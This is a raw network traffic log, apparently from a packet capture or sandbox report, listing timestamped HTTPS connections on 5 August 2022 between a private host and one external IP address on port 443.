Aug 5, 2022 12:12:21.445343018 CEST	443	49948	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:21.445377111 CEST	49948	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:21.445424080 CEST	49948	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:21.446491957 CEST	49948	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:21.446542025 CEST	443	49948	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:21.446609974 CEST	49948	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:21.446624041 CEST	49948	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:21.575608015 CEST	49949	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:21.575647116 CEST	443	49949	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:21.575742006 CEST	49949	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:21.583641052 CEST	49949	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:21.583678007 CEST	443	49949	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:21.643775940 CEST	443	49949	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:21.643896103 CEST	49949	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:21.644448996 CEST	49949	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:21.644464970 CEST	443	49949	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:21.652393103 CEST	49949	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:21.652417898 CEST	443	49949	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:21.698920012 CEST	443	49949	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:21.699043036 CEST	443	49949	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:21.699057102 CEST	49949	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:21.699090958 CEST	49949	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:21.699328899 CEST	49949	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:21.699343920 CEST	443	49949	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:21.699362040 CEST	49949	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:21.699405909 CEST	49949	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:21.816615105 CEST	49950	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:21.816659927 CEST	443	49950	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:21.816756964 CEST	49950	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:21.817317963 CEST	49950	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:21.817342043 CEST	443	49950	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:21.877863884 CEST	443	49950	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:21.878015995 CEST	49950	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:21.878664970 CEST	49950	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:21.878674984 CEST	443	49950	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:21.883730888 CEST	49950	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:21.883749962 CEST	443	49950	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:21.932308912 CEST	443	49950	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:21.932427883 CEST	49950	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:21.932451963 CEST	443	49950	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:21.932476044 CEST	443	49950	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:21.932503939 CEST	49950	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:21.932535887 CEST	49950	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:21.932863951 CEST	49950	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:21.932882071 CEST	443	49950	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:21.932917118 CEST	49950	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:21.932938099 CEST	49950	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:22.053816080 CEST	49951	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:22.053869963 CEST	443	49951	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:22.053972006 CEST	49951	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:22.054594040 CEST	49951	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:22.054619074 CEST	443	49951	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:22.116241932 CEST	443	49951	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:22.116374969 CEST	49951	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:22.117278099 CEST	49951	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:22.117294073 CEST	443	49951	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:22.127052069 CEST	49951	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:22.127078056 CEST	443	49951	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:22.174204111 CEST	443	49951	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:22.174356937 CEST	49951	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:22.174376965 CEST	443	49951	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:22.174443007 CEST	49951	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:22.174603939 CEST	443	49951	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:22.174662113 CEST	443	49951	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:22.174688101 CEST	49951	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:22.174725056 CEST	49951	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:22.175137997 CEST	49951	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:22.175163031 CEST	443	49951	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:22.175188065 CEST	49951	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:22.175230026 CEST	49951	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:22.293451071 CEST	49952	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:22.293530941 CEST	443	49952	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:22.293627977 CEST	49952	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:22.294367075 CEST	49952	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:22.294399977 CEST	443	49952	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:22.357640028 CEST	443	49952	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:22.357729912 CEST	49952	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:22.358191013 CEST	49952	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:22.358200073 CEST	443	49952	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:22.362026930 CEST	49952	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:22.362047911 CEST	443	49952	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:22.412763119 CEST	443	49952	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:22.412889004 CEST	443	49952	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:22.413131952 CEST	49952	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:22.413423061 CEST	49952	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:22.413444996 CEST	443	49952	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:22.413456917 CEST	49952	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:22.413511992 CEST	49952	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:22.537576914 CEST	49953	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:22.537633896 CEST	443	49953	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:22.537774086 CEST	49953	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:22.538830996 CEST	49953	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:22.538857937 CEST	443	49953	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:22.600102901 CEST	443	49953	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:22.600203991 CEST	49953	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:22.600980043 CEST	49953	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:22.601001024 CEST	443	49953	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:22.606267929 CEST	49953	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:22.606301069 CEST	443	49953	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:22.654048920 CEST	443	49953	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:22.654135942 CEST	443	49953	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:22.654166937 CEST	49953	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:22.654180050 CEST	49953	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:22.654876947 CEST	49953	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:22.654895067 CEST	443	49953	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:22.654910088 CEST	49953	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:22.654959917 CEST	49953	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:22.778592110 CEST	49954	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:22.778645039 CEST	443	49954	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:22.778747082 CEST	49954	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:22.779670000 CEST	49954	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:22.779686928 CEST	443	49954	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:22.846198082 CEST	443	49954	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:22.846282005 CEST	49954	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:22.847660065 CEST	49954	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:22.847671032 CEST	443	49954	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:22.851746082 CEST	49954	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:22.851762056 CEST	443	49954	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:22.907218933 CEST	443	49954	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:22.907331944 CEST	49954	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:22.907344103 CEST	443	49954	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:22.907511950 CEST	49954	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:22.907777071 CEST	49954	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:22.907793999 CEST	443	49954	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:22.907802105 CEST	49954	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:22.907865047 CEST	49954	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:23.025434017 CEST	49955	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:23.025517941 CEST	443	49955	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:23.025684118 CEST	49955	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:23.026315928 CEST	49955	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:23.026350975 CEST	443	49955	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:23.087161064 CEST	443	49955	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:23.087327957 CEST	49955	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:23.087896109 CEST	49955	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:23.087910891 CEST	443	49955	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:23.091727972 CEST	49955	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:23.091752052 CEST	443	49955	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:23.140902996 CEST	443	49955	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:23.141017914 CEST	443	49955	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:23.141027927 CEST	49955	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:23.141272068 CEST	49955	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:23.141303062 CEST	443	49955	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:23.141319990 CEST	49955	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:23.141340971 CEST	49955	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:23.143385887 CEST	49955	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:23.261176109 CEST	49956	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:23.261225939 CEST	443	49956	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:23.261411905 CEST	49956	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:23.262187004 CEST	49956	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:23.262204885 CEST	443	49956	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:23.322489023 CEST	443	49956	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:23.322849989 CEST	49956	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:23.323170900 CEST	49956	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:23.323184013 CEST	443	49956	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:23.326736927 CEST	49956	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:23.326757908 CEST	443	49956	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:23.378576994 CEST	443	49956	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:23.378680944 CEST	443	49956	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:23.378762960 CEST	49956	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:23.379196882 CEST	49956	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:23.379225969 CEST	443	49956	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:23.379270077 CEST	49956	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:23.379312038 CEST	49956	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:23.497565985 CEST	49957	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:23.497617006 CEST	443	49957	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:23.499423027 CEST	49957	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:23.500108004 CEST	49957	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:23.500129938 CEST	443	49957	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:23.561618090 CEST	443	49957	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:23.563138008 CEST	49957	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:23.564979076 CEST	49957	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:23.565009117 CEST	443	49957	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:23.567852020 CEST	49957	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:23.567881107 CEST	443	49957	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:23.616033077 CEST	443	49957	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:23.616115093 CEST	443	49957	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:23.616133928 CEST	49957	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:23.616173029 CEST	49957	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:23.616533995 CEST	49957	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:23.616570950 CEST	443	49957	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:23.616586924 CEST	49957	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:23.616631985 CEST	49957	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:23.737692118 CEST	49958	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:23.737767935 CEST	443	49958	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:23.738162041 CEST	49958	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:23.738770962 CEST	49958	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:23.738806963 CEST	443	49958	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:23.799657106 CEST	443	49958	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:23.803379059 CEST	49958	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:23.803791046 CEST	49958	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:23.803807974 CEST	443	49958	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:23.807378054 CEST	49958	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:23.807398081 CEST	443	49958	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:23.854638100 CEST	443	49958	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:23.854707956 CEST	443	49958	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:23.854922056 CEST	49958	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:23.855336905 CEST	49958	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:23.855381012 CEST	443	49958	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:23.855391979 CEST	49958	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:23.860140085 CEST	49958	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:24.013736010 CEST	49959	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:24.013793945 CEST	443	49959	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:24.013886929 CEST	49959	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:24.014461994 CEST	49959	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:24.014476061 CEST	443	49959	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:24.074646950 CEST	443	49959	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:24.074738979 CEST	49959	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:24.075452089 CEST	49959	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:24.075468063 CEST	443	49959	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:24.079998016 CEST	49959	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:24.080022097 CEST	443	49959	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:24.131500959 CEST	443	49959	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:24.131598949 CEST	443	49959	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:24.131623983 CEST	49959	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:24.131721973 CEST	49959	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:24.132227898 CEST	49959	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:24.132245064 CEST	443	49959	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:24.261302948 CEST	49960	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:24.261358976 CEST	443	49960	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:24.261537075 CEST	49960	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:24.262147903 CEST	49960	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:24.262195110 CEST	443	49960	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:24.321295023 CEST	443	49960	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:24.321397066 CEST	49960	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:24.323215961 CEST	49960	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:24.323232889 CEST	443	49960	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:24.329557896 CEST	49960	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:24.329576969 CEST	443	49960	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:24.376869917 CEST	443	49960	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:24.377021074 CEST	443	49960	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:24.377028942 CEST	49960	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:24.377110004 CEST	49960	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:24.383388996 CEST	49960	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:24.383416891 CEST	443	49960	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:24.383440018 CEST	49960	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:24.383460045 CEST	49960	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:24.508951902 CEST	49961	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:24.509015083 CEST	443	49961	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:24.509133101 CEST	49961	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:24.509792089 CEST	49961	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:24.509839058 CEST	443	49961	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:24.569983959 CEST	443	49961	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:24.570096970 CEST	49961	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:24.570550919 CEST	49961	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:24.570574045 CEST	443	49961	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:24.574227095 CEST	49961	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:24.574259043 CEST	443	49961	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:24.624762058 CEST	443	49961	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:24.624844074 CEST	443	49961	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:24.624852896 CEST	49961	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:24.624960899 CEST	49961	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:24.625260115 CEST	49961	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:24.625282049 CEST	443	49961	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:24.625293970 CEST	49961	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:24.625344992 CEST	49961	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:24.744113922 CEST	49962	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:24.744158030 CEST	443	49962	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:24.744237900 CEST	49962	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:24.744999886 CEST	49962	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:24.745014906 CEST	443	49962	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:24.804482937 CEST	443	49962	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:24.804574013 CEST	49962	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:24.805167913 CEST	49962	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:24.805181980 CEST	443	49962	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:24.810822964 CEST	49962	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:24.810833931 CEST	443	49962	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:24.859675884 CEST	443	49962	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:24.859817982 CEST	443	49962	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:24.859889984 CEST	49962	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:24.860486984 CEST	49962	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:24.860511065 CEST	49962	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:24.860528946 CEST	443	49962	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:24.860543013 CEST	49962	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:24.860656023 CEST	49962	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:24.993448019 CEST	49963	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:24.993525982 CEST	443	49963	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:24.993654013 CEST	49963	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:24.994180918 CEST	49963	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:24.994204044 CEST	443	49963	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:25.057975054 CEST	443	49963	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:25.058140039 CEST	49963	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:25.058873892 CEST	49963	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:25.058892965 CEST	443	49963	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:25.063817024 CEST	49963	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:25.063848972 CEST	443	49963	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:25.119694948 CEST	443	49963	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:25.119856119 CEST	443	49963	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:25.119872093 CEST	49963	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:25.119920015 CEST	49963	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:25.120191097 CEST	49963	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:25.120208025 CEST	443	49963	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:25.120217085 CEST	49963	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:25.120280981 CEST	49963	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:25.240027905 CEST	49964	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:25.240073919 CEST	443	49964	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:25.240148067 CEST	49964	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:25.241323948 CEST	49964	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:25.241349936 CEST	443	49964	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:25.303997993 CEST	443	49964	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:25.304100037 CEST	49964	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:25.304541111 CEST	49964	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:25.304553986 CEST	443	49964	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:25.308478117 CEST	49964	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:25.308491945 CEST	443	49964	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:25.362296104 CEST	443	49964	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:25.362380981 CEST	49964	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:25.362396955 CEST	443	49964	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:25.362447977 CEST	49964	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:25.362457037 CEST	443	49964	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:25.362515926 CEST	49964	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:25.362910986 CEST	49964	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:25.362930059 CEST	443	49964	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:25.362941027 CEST	49964	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:25.363002062 CEST	49964	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:25.484188080 CEST	49965	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:25.484244108 CEST	443	49965	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:25.484328032 CEST	49965	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:25.484895945 CEST	49965	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:25.484920025 CEST	443	49965	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:25.546777010 CEST	443	49965	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:25.546875000 CEST	49965	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:25.547605038 CEST	49965	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:25.547611952 CEST	443	49965	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:25.551512003 CEST	49965	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:25.551527023 CEST	443	49965	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:25.610970020 CEST	443	49965	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:25.611071110 CEST	49965	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:25.611094952 CEST	443	49965	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:25.611165047 CEST	49965	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:25.611232042 CEST	443	49965	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:25.611296892 CEST	49965	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:25.611495972 CEST	49965	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:25.611512899 CEST	443	49965	208.67.105.81	192.168.2.6
